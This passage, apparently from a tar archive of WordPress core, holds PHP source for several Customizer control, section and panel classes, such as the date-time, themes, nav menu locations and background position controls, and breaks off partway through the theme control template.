	 * @deprecated 4.1.0
	 */
	public function prepare_control() {}

	/**
	 * @since 3.4.0
	 * @deprecated 4.1.0
	 *
	 * @param string $id
	 * @param string $label
	 * @param mixed  $callback
	 */
	public function add_tab( $id, $label, $callback ) {
		_deprecated_function( __METHOD__, '4.1.0' );
	}

	/**
	 * @since 3.4.0
	 * @deprecated 4.1.0
	 *
	 * @param string $id
	 */
	public function remove_tab( $id ) {
		_deprecated_function( __METHOD__, '4.1.0' );
	}

	/**
	 * @since 3.4.0
	 * @deprecated 4.1.0
	 *
	 * @param string $url
	 * @param string $thumbnail_url
	 */
	public function print_tab_image( $url, $thumbnail_url = null ) {
		_deprecated_function( __METHOD__, '4.1.0' );
	}
}
class-wp-widget-area-customize-control.php000064400000003171152331005320014667 0ustar00<?php
/**
 * Customize API: WP_Widget_Area_Customize_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Widget Area Customize Control class.
 *
 * @since 3.9.0
 *
 * @see WP_Customize_Control
 */
class WP_Widget_Area_Customize_Control extends WP_Customize_Control {

	/**
	 * Customize control type.
	 *
	 * @since 3.9.0
	 * @var string
	 */
	public $type = 'sidebar_widgets';

	/**
	 * Sidebar ID.
	 *
	 * @since 3.9.0
	 * @var int|string
	 */
	public $sidebar_id;

	/**
	 * Refreshes the parameters passed to the JavaScript via JSON.
	 *
	 * @since 3.9.0
	 */
	public function to_json() {
		parent::to_json();
		$exported_properties = array( 'sidebar_id' );
		foreach ( $exported_properties as $key ) {
			$this->json[ $key ] = $this->$key;
		}
	}

	/**
	 * Renders the control's content.
	 *
	 * @since 3.9.0
	 */
	public function render_content() {
		$id = 'reorder-widgets-desc-' . str_replace( array( '[', ']' ), array( '-', '' ), $this->id );
		?>
		<button type="button" class="button add-new-widget" aria-expanded="false" aria-controls="available-widgets">
			<?php _e( 'Add a Widget' ); ?>
		</button>
		<button type="button" class="button-link reorder-toggle" aria-label="<?php esc_attr_e( 'Reorder widgets' ); ?>" aria-describedby="<?php echo esc_attr( $id ); ?>">
			<span class="reorder"><?php _e( 'Reorder' ); ?></span>
			<span class="reorder-done"><?php _e( 'Done' ); ?></span>
		</button>
		<p class="screen-reader-text" id="<?php echo esc_attr( $id ); ?>"><?php _e( 'When in reorder mode, additional controls to reorder widgets will be available in the widgets list above.' ); ?></p>
		<?php
	}
}
class-wp-customize-nav-menu-locations-control.php000064400000005357152331005320016225 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Locations_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.9.0
 */

/**
 * Customize Nav Menu Locations Control Class.
 *
 * @since 4.9.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Nav_Menu_Locations_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $type = 'nav_menu_locations';

	/**
	 * Don't render the control's content - it uses a JS template instead.
	 *
	 * @since 4.9.0
	 */
	public function render_content() {}

	/**
	 * JS/Underscore template for the control UI.
	 *
	 * @since 4.9.0
	 */
	public function content_template() {
		if ( current_theme_supports( 'menus' ) ) :
			?>
			<# var elementId; #>
			<ul class="menu-location-settings">
				<li class="customize-control assigned-menu-locations-title">
					<span class="customize-control-title">{{ wp.customize.Menus.data.l10n.locationsTitle }}</span>
					<# if ( data.isCreating ) { #>
						<p>
							<?php echo _x( 'Where do you want this menu to appear?', 'menu locations' ); ?>
							<?php
							printf(
								/* translators: 1: Documentation URL, 2: Additional link attributes, 3: Accessibility text. */
								_x( '(If you plan to use a menu <a href="%1$s" %2$s>widget%3$s</a>, skip this step.)', 'menu locations' ),
								__( 'https://wordpress.org/support/article/wordpress-widgets/' ),
								' class="external-link" target="_blank"',
								sprintf(
									'<span class="screen-reader-text"> %s</span>',
									/* translators: Accessibility text. */
									__( '(opens in a new tab)' )
								)
							);
							?>
						</p>
					<# } else { #>
						<p><?php echo _x( 'Here&#8217;s where this menu appears. If you&#8217;d like to change that, pick another location.', 'menu locations' ); ?></p>
					<# } #>
				</li>

				<?php foreach ( get_registered_nav_menus() as $location => $description ) : ?>
					<# elementId = _.uniqueId( 'customize-nav-menu-control-location-' ); #>
					<li class="customize-control customize-control-checkbox assigned-menu-location">
						<span class="customize-inside-control-row">
							<input id="{{ elementId }}" type="checkbox" data-menu-id="{{ data.menu_id }}" data-location-id="<?php echo esc_attr( $location ); ?>" class="menu-location" />
							<label for="{{ elementId }}">
								<?php echo $description; ?>
								<span class="theme-location-set">
									<?php
									printf(
										/* translators: %s: Menu name. */
										_x( '(Current: %s)', 'menu location' ),
										'<span class="current-menu-location-name-' . esc_attr( $location ) . '"></span>'
									);
									?>
								</span>
							</label>
						</span>
					</li>
				<?php endforeach; ?>
			</ul>
			<?php
		endif;
	}
}
class-wp-customize-date-time-control.php000064400000021031152331005320014342 0ustar00<?php
/**
 * Customize API: WP_Customize_Date_Time_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.9.0
 */

/**
 * Customize Date Time Control class.
 *
 * @since 4.9.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Date_Time_Control extends WP_Customize_Control {

	/**
	 * Customize control type.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $type = 'date_time';

	/**
	 * Minimum Year.
	 *
	 * @since 4.9.0
	 * @var integer
	 */
	public $min_year = 1000;

	/**
	 * Maximum Year.
	 *
	 * @since 4.9.0
	 * @var integer
	 */
	public $max_year = 9999;

	/**
	 * Allow past date, if set to false user can only select future date.
	 *
	 * @since 4.9.0
	 * @var boolean
	 */
	public $allow_past_date = true;

	/**
	 * Whether hours, minutes, and meridian should be shown.
	 *
	 * @since 4.9.0
	 * @var boolean
	 */
	public $include_time = true;

	/**
	 * If set to false the control will appear in 24 hour format,
	 * the value will still be saved in Y-m-d H:i:s format.
	 *
	 * @since 4.9.0
	 * @var boolean
	 */
	public $twelve_hour_format = true;

	/**
	 * Don't render the control's content - it's rendered with a JS template.
	 *
	 * @since 4.9.0
	 */
	public function render_content() {}

	/**
	 * Export data to JS.
	 *
	 * @since 4.9.0
	 * @return array
	 */
	public function json() {
		$data = parent::json();

		$data['maxYear']          = (int) $this->max_year;
		$data['minYear']          = (int) $this->min_year;
		$data['allowPastDate']    = (bool) $this->allow_past_date;
		$data['twelveHourFormat'] = (bool) $this->twelve_hour_format;
		$data['includeTime']      = (bool) $this->include_time;

		return $data;
	}

	/**
	 * Renders a JS template for the content of date time control.
	 *
	 * @since 4.9.0
	 */
	public function content_template() {
		$data          = array_merge( $this->json(), $this->get_month_choices() );
		$timezone_info = $this->get_timezone_info();

		$date_format = get_option( 'date_format' );
		$date_format = preg_replace( '/(?<!\\\\)[Yyo]/', '%1$s', $date_format );
		$date_format = preg_replace( '/(?<!\\\\)[FmMn]/', '%2$s', $date_format );
		$date_format = preg_replace( '/(?<!\\\\)[jd]/', '%3$s', $date_format );

		// Fallback to ISO date format if year, month, or day are missing from the date format.
		if ( 1 !== substr_count( $date_format, '%1$s' ) || 1 !== substr_count( $date_format, '%2$s' ) || 1 !== substr_count( $date_format, '%3$s' ) ) {
			$date_format = '%1$s-%2$s-%3$s';
		}
		?>

		<# _.defaults( data, <?php echo wp_json_encode( $data ); ?> ); #>
		<# var idPrefix = _.uniqueId( 'el' ) + '-'; #>

		<# if ( data.label ) { #>
			<span class="customize-control-title">
				{{ data.label }}
			</span>
		<# } #>
		<div class="customize-control-notifications-container"></div>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{ data.description }}</span>
		<# } #>
		<div class="date-time-fields {{ data.includeTime ? 'includes-time' : '' }}">
			<fieldset class="day-row">
				<legend class="title-day {{ ! data.includeTime ? 'screen-reader-text' : '' }}"><?php esc_html_e( 'Date' ); ?></legend>
				<div class="day-fields clear">
					<?php ob_start(); ?>
					<label for="{{ idPrefix }}date-time-month" class="screen-reader-text"><?php esc_html_e( 'Month' ); ?></label>
					<select id="{{ idPrefix }}date-time-month" class="date-input month" data-component="month">
						<# _.each( data.month_choices, function( choice ) {
							if ( _.isObject( choice ) && ! _.isUndefined( choice.text ) && ! _.isUndefined( choice.value ) ) {
								text = choice.text;
								value = choice.value;
							}
							#>
							<option value="{{ value }}" >
								{{ text }}
							</option>
						<# } ); #>
					</select>
					<?php $month_field = trim( ob_get_clean() ); ?>

					<?php ob_start(); ?>
					<label for="{{ idPrefix }}date-time-day" class="screen-reader-text"><?php esc_html_e( 'Day' ); ?></label>
					<input id="{{ idPrefix }}date-time-day" type="number" size="2" autocomplete="off" class="date-input day" data-component="day" min="1" max="31" />
					<?php $day_field = trim( ob_get_clean() ); ?>

					<?php ob_start(); ?>
					<label for="{{ idPrefix }}date-time-year" class="screen-reader-text"><?php esc_html_e( 'Year' ); ?></label>
					<input id="{{ idPrefix }}date-time-year" type="number" size="4" autocomplete="off" class="date-input year" data-component="year" min="{{ data.minYear }}" max="{{ data.maxYear }}">
					<?php $year_field = trim( ob_get_clean() ); ?>

					<?php printf( $date_format, $year_field, $month_field, $day_field ); ?>
				</div>
			</fieldset>
			<# if ( data.includeTime ) { #>
				<fieldset class="time-row clear">
					<legend class="title-time"><?php esc_html_e( 'Time' ); ?></legend>
					<div class="time-fields clear">
						<label for="{{ idPrefix }}date-time-hour" class="screen-reader-text"><?php esc_html_e( 'Hour' ); ?></label>
						<# var maxHour = data.twelveHourFormat ? 12 : 23; #>
						<# var minHour = data.twelveHourFormat ? 1 : 0; #>
						<input id="{{ idPrefix }}date-time-hour" type="number" size="2" autocomplete="off" class="date-input hour" data-component="hour" min="{{ minHour }}" max="{{ maxHour }}">
						:
						<label for="{{ idPrefix }}date-time-minute" class="screen-reader-text"><?php esc_html_e( 'Minute' ); ?></label>
						<input id="{{ idPrefix }}date-time-minute" type="number" size="2" autocomplete="off" class="date-input minute" data-component="minute" min="0" max="59">
						<# if ( data.twelveHourFormat ) { #>
							<label for="{{ idPrefix }}date-time-meridian" class="screen-reader-text"><?php esc_html_e( 'Meridian' ); ?></label>
							<select id="{{ idPrefix }}date-time-meridian" class="date-input meridian" data-component="meridian">
								<option value="am"><?php esc_html_e( 'AM' ); ?></option>
								<option value="pm"><?php esc_html_e( 'PM' ); ?></option>
							</select>
						<# } #>
						<p><?php echo $timezone_info['description']; ?></p>
					</div>
				</fieldset>
			<# } #>
		</div>
		<?php
	}

	/**
	 * Generate options for the month Select.
	 *
	 * Based on touch_time().
	 *
	 * @since 4.9.0
	 *
	 * @see touch_time()
	 *
	 * @global WP_Locale $wp_locale WordPress date and time locale object.
	 *
	 * @return array
	 */
	public function get_month_choices() {
		global $wp_locale;
		$months = array();
		for ( $i = 1; $i < 13; $i++ ) {
			$month_text = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );

			/* translators: 1: Month number (01, 02, etc.), 2: Month abbreviation. */
			$months[ $i ]['text']  = sprintf( __( '%1$s-%2$s' ), $i, $month_text );
			$months[ $i ]['value'] = $i;
		}
		return array(
			'month_choices' => $months,
		);
	}

	/**
	 * Get timezone info.
	 *
	 * @since 4.9.0
	 *
	 * @return array abbr and description.
	 */
	public function get_timezone_info() {
		$tz_string     = get_option( 'timezone_string' );
		$timezone_info = array();

		if ( $tz_string ) {
			try {
				$tz = new DateTimezone( $tz_string );
			} catch ( Exception $e ) {
				$tz = '';
			}

			if ( $tz ) {
				$now                   = new DateTime( 'now', $tz );
				$formatted_gmt_offset  = $this->format_gmt_offset( $tz->getOffset( $now ) / 3600 );
				$tz_name               = str_replace( '_', ' ', $tz->getName() );
				$timezone_info['abbr'] = $now->format( 'T' );

				$timezone_info['description'] = sprintf(
					/* translators: 1: Timezone name, 2: Timezone abbreviation, 3: UTC abbreviation and offset, 4: UTC offset. */
					__( 'Your timezone is set to %1$s (%2$s), currently %3$s (Coordinated Universal Time %4$s).' ),
					$tz_name,
					'<abbr>' . $timezone_info['abbr'] . '</abbr>',
					'<abbr>UTC</abbr>' . $formatted_gmt_offset,
					$formatted_gmt_offset
				);
			} else {
				$timezone_info['description'] = '';
			}
		} else {
			$formatted_gmt_offset = $this->format_gmt_offset( (int) get_option( 'gmt_offset', 0 ) );

			$timezone_info['description'] = sprintf(
				/* translators: 1: UTC abbreviation and offset, 2: UTC offset. */
				__( 'Your timezone is set to %1$s (Coordinated Universal Time %2$s).' ),
				'<abbr>UTC</abbr>' . $formatted_gmt_offset,
				$formatted_gmt_offset
			);
		}

		return $timezone_info;
	}

	/**
	 * Format GMT Offset.
	 *
	 * @since 4.9.0
	 *
	 * @see wp_timezone_choice()
	 *
	 * @param float $offset Offset in hours.
	 * @return string Formatted offset.
	 */
	public function format_gmt_offset( $offset ) {
		if ( 0 <= $offset ) {
			$formatted_offset = '+' . (string) $offset;
		} else {
			$formatted_offset = (string) $offset;
		}
		$formatted_offset = str_replace(
			array( '.25', '.5', '.75' ),
			array( ':15', ':30', ':45' ),
			$formatted_offset
		);
		return $formatted_offset;
	}
}
class-wp-customize-themes-section.php000064400000015144152331005320013752 0ustar00<?php
/**
 * Customize API: WP_Customize_Themes_Section class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Themes Section class.
 *
 * A UI container for theme controls, which are displayed within sections.
 *
 * @since 4.2.0
 *
 * @see WP_Customize_Section
 */
class WP_Customize_Themes_Section extends WP_Customize_Section {

	/**
	 * Section type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $type = 'themes';

	/**
	 * Theme section action.
	 *
	 * Defines the type of themes to load (installed, wporg, etc.).
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $action = '';

	/**
	 * Theme section filter type.
	 *
	 * Determines whether filters are applied to loaded (local) themes or by initiating a new remote query (remote).
	 * When filtering is local, the initial themes query is not paginated by default.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $filter_type = 'local';

	/**
	 * Get section parameters for JS.
	 *
	 * @since 4.9.0
	 * @return array Exported parameters.
	 */
	public function json() {
		$exported                = parent::json();
		$exported['action']      = $this->action;
		$exported['filter_type'] = $this->filter_type;

		return $exported;
	}

	/**
	 * Render a themes section as a JS template.
	 *
	 * The template is only rendered by PHP once, so all actions are prepared at once on the server side.
	 *
	 * @since 4.9.0
	 */
	protected function render_template() {
		?>
		<li id="accordion-section-{{ data.id }}" class="theme-section">
			<button type="button" class="customize-themes-section-title themes-section-{{ data.id }}">{{ data.title }}</button>
			<?php if ( current_user_can( 'install_themes' ) || is_multisite() ) : // @todo Upload support. ?>
			<?php endif; ?>
			<div class="customize-themes-section themes-section-{{ data.id }} control-section-content themes-php">
				<div class="theme-overlay" tabindex="0" role="dialog" aria-label="<?php esc_attr_e( 'Theme Details' ); ?>"></div>
				<div class="theme-browser rendered">
					<div class="customize-preview-header themes-filter-bar">
						<?php $this->filter_bar_content_template(); ?>
					</div>
					<?php $this->filter_drawer_content_template(); ?>
					<div class="error unexpected-error" style="display: none; ">
						<p>
							<?php
							printf(
								/* translators: %s: Support forums URL. */
								__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
								__( 'https://wordpress.org/support/forums/' )
							);
							?>
						</p>
					</div>
					<ul class="themes">
					</ul>
					<p class="no-themes"><?php _e( 'No themes found. Try a different search.' ); ?></p>
					<p class="no-themes-local">
						<?php
						printf(
							/* translators: %s: "Search WordPress.org themes" button text. */
							__( 'No themes found. Try a different search, or %s.' ),
							sprintf( '<button type="button" class="button-link search-dotorg-themes">%s</button>', __( 'Search WordPress.org themes' ) )
						);
						?>
					</p>
					<p class="spinner"></p>
				</div>
			</div>
		</li>
		<?php
	}

	/**
	 * Render the filter bar portion of a themes section as a JS template.
	 *
	 * The template is only rendered by PHP once, so all actions are prepared at once on the server side.
	 * The filter bar container is rendered by @see `render_template()`.
	 *
	 * @since 4.9.0
	 */
	protected function filter_bar_content_template() {
		?>
		<button type="button" class="button button-primary customize-section-back customize-themes-mobile-back"><?php _e( 'Go to theme sources' ); ?></button>
		<# if ( 'wporg' === data.action ) { #>
			<div class="search-form">
				<label for="wp-filter-search-input-{{ data.id }}" class="screen-reader-text"><?php _e( 'Search themes&hellip;' ); ?></label>
				<input type="search" id="wp-filter-search-input-{{ data.id }}" placeholder="<?php esc_attr_e( 'Search themes&hellip;' ); ?>" aria-describedby="{{ data.id }}-live-search-desc" class="wp-filter-search">
				<div class="search-icon" aria-hidden="true"></div>
				<span id="{{ data.id }}-live-search-desc" class="screen-reader-text"><?php _e( 'The search results will be updated as you type.' ); ?></span>
			</div>
			<button type="button" class="button feature-filter-toggle">
				<span class="filter-count-0"><?php _e( 'Filter themes' ); ?></span><span class="filter-count-filters">
				<?php
				/* translators: %s: Number of filters selected. */
				printf( __( 'Filter themes (%s)' ), '<span class="theme-filter-count">0</span>' );
				?>
				</span>
			</button>
		<# } else { #>
			<div class="themes-filter-container">
				<label for="{{ data.id }}-themes-filter" class="screen-reader-text"><?php _e( 'Search themes&hellip;' ); ?></label>
				<input type="search" id="{{ data.id }}-themes-filter" placeholder="<?php esc_attr_e( 'Search themes&hellip;' ); ?>" aria-describedby="{{ data.id }}-live-search-desc" class="wp-filter-search wp-filter-search-themes" />
				<div class="search-icon" aria-hidden="true"></div>
				<span id="{{ data.id }}-live-search-desc" class="screen-reader-text"><?php _e( 'The search results will be updated as you type.' ); ?></span>
			</div>
		<# } #>
		<div class="filter-themes-count">
			<span class="themes-displayed">
				<?php
				/* translators: %s: Number of themes displayed. */
				printf( __( '%s themes' ), '<span class="theme-count">0</span>' );
				?>
			</span>
		</div>
		<?php
	}

	/**
	 * Render the filter drawer portion of a themes section as a JS template.
	 *
	 * The filter bar container is rendered by @see `render_template()`.
	 *
	 * @since 4.9.0
	 */
	protected function filter_drawer_content_template() {
		// @todo Use the .org API instead of the local core feature list.
		// The .org API is currently outdated and will be reconciled when the .org themes directory is next redesigned.
		$feature_list = get_theme_feature_list( false );
		?>
		<# if ( 'wporg' === data.action ) { #>
			<div class="filter-drawer filter-details">
				<?php foreach ( $feature_list as $feature_name => $features ) : ?>
					<fieldset class="filter-group">
						<legend><?php echo esc_html( $feature_name ); ?></legend>
						<div class="filter-group-feature">
							<?php foreach ( $features as $feature => $feature_name ) : ?>
								<input type="checkbox" id="filter-id-<?php echo esc_attr( $feature ); ?>" value="<?php echo esc_attr( $feature ); ?>" />
								<label for="filter-id-<?php echo esc_attr( $feature ); ?>"><?php echo esc_html( $feature_name ); ?></label>
							<?php endforeach; ?>
						</div>
					</fieldset>
				<?php endforeach; ?>
			</div>
		<# } #>
		<?php
	}
}
class-wp-customize-background-position-control.php000064400000005620152331005320016460 0ustar00<?php
/**
 * Customize API: WP_Customize_Background_Position_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.7.0
 */

/**
 * Customize Background Position Control class.
 *
 * @since 4.7.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Background_Position_Control extends WP_Customize_Control {

	/**
	 * Type.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $type = 'background_position';

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 *
	 * @since 4.7.0
	 */
	public function render_content() {}

	/**
	 * Render a JS template for the content of the position control.
	 *
	 * @since 4.7.0
	 */
	public function content_template() {
		$options = array(
			array(
				'left top'   => array(
					'label' => __( 'Top Left' ),
					'icon'  => 'dashicons dashicons-arrow-left-alt',
				),
				'center top' => array(
					'label' => __( 'Top' ),
					'icon'  => 'dashicons dashicons-arrow-up-alt',
				),
				'right top'  => array(
					'label' => __( 'Top Right' ),
					'icon'  => 'dashicons dashicons-arrow-right-alt',
				),
			),
			array(
				'left center'   => array(
					'label' => __( 'Left' ),
					'icon'  => 'dashicons dashicons-arrow-left-alt',
				),
				'center center' => array(
					'label' => __( 'Center' ),
					'icon'  => 'background-position-center-icon',
				),
				'right center'  => array(
					'label' => __( 'Right' ),
					'icon'  => 'dashicons dashicons-arrow-right-alt',
				),
			),
			array(
				'left bottom'   => array(
					'label' => __( 'Bottom Left' ),
					'icon'  => 'dashicons dashicons-arrow-left-alt',
				),
				'center bottom' => array(
					'label' => __( 'Bottom' ),
					'icon'  => 'dashicons dashicons-arrow-down-alt',
				),
				'right bottom'  => array(
					'label' => __( 'Bottom Right' ),
					'icon'  => 'dashicons dashicons-arrow-right-alt',
				),
			),
		);
		?>
		<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
		<# } #>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>
		<div class="customize-control-content">
			<fieldset>
				<legend class="screen-reader-text"><span><?php _e( 'Image Position' ); ?></span></legend>
				<div class="background-position-control">
				<?php foreach ( $options as $group ) : ?>
					<div class="button-group">
					<?php foreach ( $group as $value => $input ) : ?>
						<label>
							<input class="ui-helper-hidden-accessible" name="background-position" type="radio" value="<?php echo esc_attr( $value ); ?>">
							<span class="button display-options position"><span class="<?php echo esc_attr( $input['icon'] ); ?>" aria-hidden="true"></span></span>
							<span class="screen-reader-text"><?php echo $input['label']; ?></span>
						</label>
					<?php endforeach; ?>
					</div>
				<?php endforeach; ?>
				</div>
			</fieldset>
		</div>
		<?php
	}
}
class-wp-customize-themes-panel.php000064400000006246152331005320013410 0ustar00<?php
/**
 * Customize API: WP_Customize_Themes_Panel class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.9.0
 */

/**
 * Customize Themes Panel Class
 *
 * @since 4.9.0
 *
 * @see WP_Customize_Panel
 */
class WP_Customize_Themes_Panel extends WP_Customize_Panel {

	/**
	 * Panel type.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $type = 'themes';

	/**
	 * An Underscore (JS) template for rendering this panel's container.
	 *
	 * The themes panel renders a custom panel heading with the current theme and a switch themes button.
	 *
	 * @see WP_Customize_Panel::print_template()
	 *
	 * @since 4.9.0
	 */
	protected function render_template() {
		?>
		<li id="accordion-section-{{ data.id }}" class="accordion-section control-panel-themes">
			<h3 class="accordion-section-title">
				<?php
				if ( $this->manager->is_theme_active() ) {
					echo '<span class="customize-action">' . __( 'Active theme' ) . '</span> {{ data.title }}';
				} else {
					echo '<span class="customize-action">' . __( 'Previewing theme' ) . '</span> {{ data.title }}';
				}
				?>

				<?php if ( current_user_can( 'switch_themes' ) ) : ?>
					<button type="button" class="button change-theme" aria-label="<?php esc_attr_e( 'Change theme' ); ?>"><?php _ex( 'Change', 'theme' ); ?></button>
				<?php endif; ?>
			</h3>
			<ul class="accordion-sub-container control-panel-content"></ul>
		</li>
		<?php
	}

	/**
	 * An Underscore (JS) template for this panel's content (but not its container).
	 *
	 * Class variables for this panel class are available in the `data` JS object;
	 * export custom variables by overriding WP_Customize_Panel::json().
	 *
	 * @since 4.9.0
	 *
	 * @see WP_Customize_Panel::print_template()
	 */
	protected function content_template() {
		?>
		<li class="panel-meta customize-info accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>">
			<button class="customize-panel-back" tabindex="-1" type="button"><span class="screen-reader-text"><?php _e( 'Back' ); ?></span></button>
			<div class="accordion-section-title">
				<span class="preview-notice">
					<?php
					printf(
						/* translators: %s: Themes panel title in the Customizer. */
						__( 'You are browsing %s' ),
						'<strong class="panel-title">' . __( 'Themes' ) . '</strong>'
					); // Separate strings for consistency with other panels.
					?>
				</span>
				<?php if ( current_user_can( 'install_themes' ) && ! is_multisite() ) : ?>
					<# if ( data.description ) { #>
						<button class="customize-help-toggle dashicons dashicons-editor-help" type="button" aria-expanded="false"><span class="screen-reader-text"><?php _e( 'Help' ); ?></span></button>
					<# } #>
				<?php endif; ?>
			</div>
			<?php if ( current_user_can( 'install_themes' ) && ! is_multisite() ) : ?>
				<# if ( data.description ) { #>
					<div class="description customize-panel-description">
						{{{ data.description }}}
					</div>
				<# } #>
			<?php endif; ?>

			<div class="customize-control-notifications-container"></div>
		</li>
		<li class="customize-themes-full-container-container">
			<div class="customize-themes-full-container">
				<div class="customize-themes-notifications"></div>
			</div>
		</li>
		<?php
	}
}
class-wp-customize-background-image-control.php000064400000002270152331005320015674 0ustar00<?php
/**
 * Customize API: WP_Customize_Background_Image_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Background Image Control class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Image_Control
 */
class WP_Customize_Background_Image_Control extends WP_Customize_Image_Control {
	public $type = 'background';

	/**
	 * Constructor.
	 *
	 * @since 3.4.0
	 * @uses WP_Customize_Image_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 */
	public function __construct( $manager ) {
		parent::__construct(
			$manager,
			'background_image',
			array(
				'label'   => __( 'Background Image' ),
				'section' => 'background_image',
			)
		);
	}

	/**
	 * Enqueue control related scripts/styles.
	 *
	 * @since 4.1.0
	 */
	public function enqueue() {
		parent::enqueue();

		$custom_background = get_theme_support( 'custom-background' );
		wp_localize_script(
			'customize-controls',
			'_wpCustomizeBackground',
			array(
				'defaults' => ! empty( $custom_background[0] ) ? $custom_background[0] : array(),
				'nonces'   => array(
					'add' => wp_create_nonce( 'background-add' ),
				),
			)
		);
	}
}
class-wp-customize-nav-menu-section.php000064400000001314152331005320014205 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Section class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Menu Section Class
 *
 * Custom section only needed in JS.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Section
 */
class WP_Customize_Nav_Menu_Section extends WP_Customize_Section {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu';

	/**
	 * Get section parameters for JS.
	 *
	 * @since 4.3.0
	 * @return array Exported parameters.
	 */
	public function json() {
		$exported            = parent::json();
		$exported['menu_id'] = (int) preg_replace( '/^nav_menu\[(-?\d+)\]/', '$1', $this->id );

		return $exported;
	}
}
class-wp-customize-theme-control.php000064400000024116152331005320013602 0ustar00<?php
/**
 * Customize API: WP_Customize_Theme_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Theme Control class.
 *
 * @since 4.2.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Theme_Control extends WP_Customize_Control {

	/**
	 * Customize control type.
	 *
	 * @since 4.2.0
	 * @var string
	 */
	public $type = 'theme';

	/**
	 * Theme object.
	 *
	 * @since 4.2.0
	 * @var WP_Theme
	 */
	public $theme;

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 4.2.0
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['theme'] = $this->theme;
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 *
	 * @since 4.2.0
	 */
	public function render_content() {}

	/**
	 * Render a JS template for theme display.
	 *
	 * @since 4.2.0
	 */
	public function content_template() {
		/* translators: %s: Theme name. */
		$details_label = sprintf( __( 'Details for theme: %s' ), '{{ data.theme.name }}' );
		/* translators: %s: Theme name. */
		$customize_label = sprintf( __( 'Customize theme: %s' ), '{{ data.theme.name }}' );
		/* translators: %s: Theme name. */
		$preview_label = sprintf( __( 'Live preview theme: %s' ), '{{ data.theme.name }}' );
		/* translators: %s: Theme name. */
		$install_label = sprintf( __( 'Install and preview theme: %s' ), '{{ data.theme.name }}' );
		?>
		<# if ( data.theme.active ) { #>
			<div class="theme active" tabindex="0" aria-describedby="{{ data.section }}-{{ data.theme.id }}-action">
		<# } else { #>
			<div class="theme" tabindex="0" aria-describedby="{{ data.section }}-{{ data.theme.id }}-action">
		<# } #>

			<# if ( data.theme.screenshot && data.theme.screenshot[0] ) { #>
				<div class="theme-screenshot">
					<img data-src="{{ data.theme.screenshot[0] }}" alt="" />
				</div>
			<# } else { #>
				<div class="theme-screenshot blank"></div>
			<# } #>

			<span class="more-details theme-details" id="{{ data.section }}-{{ data.theme.id }}-action" aria-label="<?php echo esc_attr( $details_label ); ?>"><?php _e( 'Theme Details' ); ?></span>

			<div class="theme-author">
			<?php
				/* translators: Theme author name. */
				printf( _x( 'By %s', 'theme author' ), '{{ data.theme.author }}' );
			?>
			</div>

			<# if ( 'installed' === data.theme.type && data.theme.hasUpdate ) { #>
				<# if ( data.theme.updateResponse.compatibleWP && data.theme.updateResponse.compatiblePHP ) { #>
					<div class="update-message notice inline notice-warning notice-alt" data-slug="{{ data.theme.id }}">
						<p>
							<?php
							if ( is_multisite() ) {
								_e( 'New version available.' );
							} else {
								printf(
									/* translators: %s: "Update now" button. */
									__( 'New version available. %s' ),
									'<button class="button-link update-theme" type="button">' . __( 'Update now' ) . '</button>'
								);
							}
							?>
						</p>
					</div>
				<# } else { #>
					<div class="update-message notice inline notice-error notice-alt" data-slug="{{ data.theme.id }}">
						<p>
							<# if ( ! data.theme.updateResponse.compatibleWP && ! data.theme.updateResponse.compatiblePHP ) { #>
								<?php
								printf(
									/* translators: %s: Theme name. */
									__( 'There is a new version of %s available, but it doesn&#8217;t work with your versions of WordPress and PHP.' ),
									'{{{ data.theme.name }}}'
								);
								if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
									printf(
										/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
										' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
										self_admin_url( 'update-core.php' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								} elseif ( current_user_can( 'update_core' ) ) {
									printf(
										/* translators: %s: URL to WordPress Updates screen. */
										' ' . __( '<a href="%s">Please update WordPress</a>.' ),
										self_admin_url( 'update-core.php' )
									);
